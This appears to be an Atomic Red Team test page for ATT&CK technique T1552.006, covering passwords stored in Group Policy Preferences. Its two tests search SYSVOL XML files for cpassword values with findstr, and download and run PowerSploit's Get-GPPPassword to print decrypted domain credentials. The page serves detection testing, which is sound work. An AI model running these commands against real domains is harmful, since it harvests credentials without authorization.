# T1552.006 - Group Policy Preferences
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1552/006)
<blockquote>Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

* Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>
* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
* gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>
</blockquote>

## Atomic Tests

- [Atomic Test #1 - GPP Passwords (findstr)](#atomic-test-1---gpp-passwords-findstr)

- [Atomic Test #2 - GPP Passwords (Get-GPPPassword)](#atomic-test-2---gpp-passwords-get-gpppassword)


<br/>

## Atomic Test #1 - GPP Passwords (findstr)
Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.

**Supported Platforms:** Windows


**auto_generated_guid:** 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f






#### Attack Commands: Run with `command_prompt`! 


```cmd
findstr /S cpassword %logonserver%\sysvol\*.xml
```




#### Dependencies:  Run with `powershell`!
##### Description: Computer must be domain joined
##### Check Prereq Commands:
```powershell
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Write-Host Joining this computer to a domain must be done manually
```




<br/>
<br/>

## Atomic Test #2 - GPP Passwords (Get-GPPPassword)
Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.
This test is intended to be run from a domain joined workstation, not on the Domain Controller itself.
The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found".

**Supported Platforms:** Windows


**auto_generated_guid:** e9584f82-322c-474a-b831-940fd8b4455c





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| gpp_script_url | URL of the Get-GPPPassword PowerShell Script | Url | https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1|
| gpp_script_path | Path to the Get-GPPPassword PowerShell Script | Path | PathToAtomicsFolder&#92;T1552.006&#92;src&#92;Get-GPPPassword.ps1|


#### Attack Commands: Run with `powershell`! 


```powershell
. #{gpp_script_path}
Get-GPPPassword -Verbose
```




#### Dependencies:  Run with `powershell`!
##### Description: Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}
##### Check Prereq Commands:
```powershell
if(Test-Path "#{gpp_script_path}") {exit 0 } else {exit 1 }
```
##### Get Prereq Commands:
```powershell
New-Item -ItemType Directory (Split-Path "#{gpp_script_path}") -Force | Out-Null
Invoke-WebRequest #{gpp_script_url} -OutFile "#{gpp_script_path}"
```
##### Description: Computer must be domain joined
##### Check Prereq Commands:
```powershell
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Write-Host Joining this computer to a domain must be done manually
```




<br/>
